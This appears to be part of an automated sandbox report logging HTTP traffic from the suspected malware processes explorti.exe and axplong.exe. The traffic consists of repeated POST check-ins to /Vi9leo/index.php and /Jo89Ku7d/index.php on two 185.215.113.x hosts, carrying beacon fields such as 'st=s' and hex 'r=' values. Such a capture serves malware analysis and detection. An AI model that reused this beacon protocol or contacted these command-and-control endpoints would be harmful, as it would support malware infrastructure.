Jul 27, 2024 12:02:11.375186920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49740	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:10.924993992 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Jul 27, 2024 12:02:11.700360060 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49741	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:11.538650990 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:12.519705057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:12.522459030 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:12.784178972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49742	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:11.872263908 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:12.679610014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:12.680432081 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:12.950105906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49743	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:12.893173933 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:13.639019966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:13.652254105 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:13.900829077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49744	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:13.066306114 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:13.839875937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:13.882299900 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:14.141635895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49745	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:14.017925024 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:14.816579103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:14.817526102 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:15.068180084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49746	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:14.255075932 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:15.062817097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:15.065574884 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:15.345580101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49747	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:15.191735029 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:15.971621037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:15.973254919 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:16.637573004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:16.639158010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49748	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:15.455329895 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:16.637818098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:16.638448000 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:16.639290094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:16.904233932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49749	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:16.752585888 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:17.513988018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:17.514828920 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:17.770775080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49750	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:17.018399000 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:17.777998924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:17.813755035 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:18.064342022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49751	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:17.975821018 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:18.743671894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:18.744577885 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:18.995503902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49752	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:18.179023981 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:18.934606075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
